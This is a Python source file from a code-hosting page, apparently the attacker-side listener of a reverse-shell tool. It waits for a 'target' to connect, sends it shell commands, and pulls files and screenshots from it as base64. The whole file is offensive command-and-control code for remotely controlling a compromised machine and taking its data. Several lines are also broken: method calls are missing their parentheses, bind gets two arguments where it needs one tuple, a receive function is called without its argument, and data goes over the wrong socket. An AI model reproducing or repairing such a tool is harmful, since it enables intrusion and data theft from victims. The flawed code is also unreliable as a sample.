-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
80 lines (73 loc) · 2.2 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
import os
import socket
import json
import base64
import dotenv
sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
count = 1
def sendData(data):
json_data = json.dumps(data)
sock.send(json_data.encode)
def recieveData(data):
json_data = b''
while True:
try:
recv = sock.recv(1024)
if not recv:
break
json_data += recv
decoded_data = json.loads(json_data.decode())
return decoded_data
except ValueError as e:
print(e)
continue
def server():
global sock
global ip
global target
sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1)
dotenv.find_dotenv()
dotenv.load_dotenv()
sock.bind( os.getenv("LOCALHOST"), os.getenv("PORT") )
sock.listen(3)
print("~[*]Listening...")
target , ip = sock.accept()
print("~[*]Target connected")
shell()
def shell():
global count
while True:
command = input(f"~[*]Shell: {ip}")
sendData(command)
if command == 'q':
sock.close()
break
elif command[:2] == "cd" and len(command) > 1:
continue
elif command[:8] == "download":
with open(command[9:], "wb") as file:
result = recieveData()
file.write(base64.b64decode(result))
elif command[:6] == "upload":
try:
with open(command[7:], "rb") as file:
sendData(base64.b64encode(file.read))
except:
failed ="failed to upload"
sendData(base64.b64decode(failed))
elif command[:10] == "screenshot":
with open("screenshot%d" % count, "wb") as screen:
image = recieveData()
image_decoded = base64.b64decode(image)
if image_decoded[:4] == "[!!]":
print(image_decoded)
else:
screen.write(image_decoded)
count += 1
else:
result = recieveData()
print(result)
if __name__== "__main__":
server()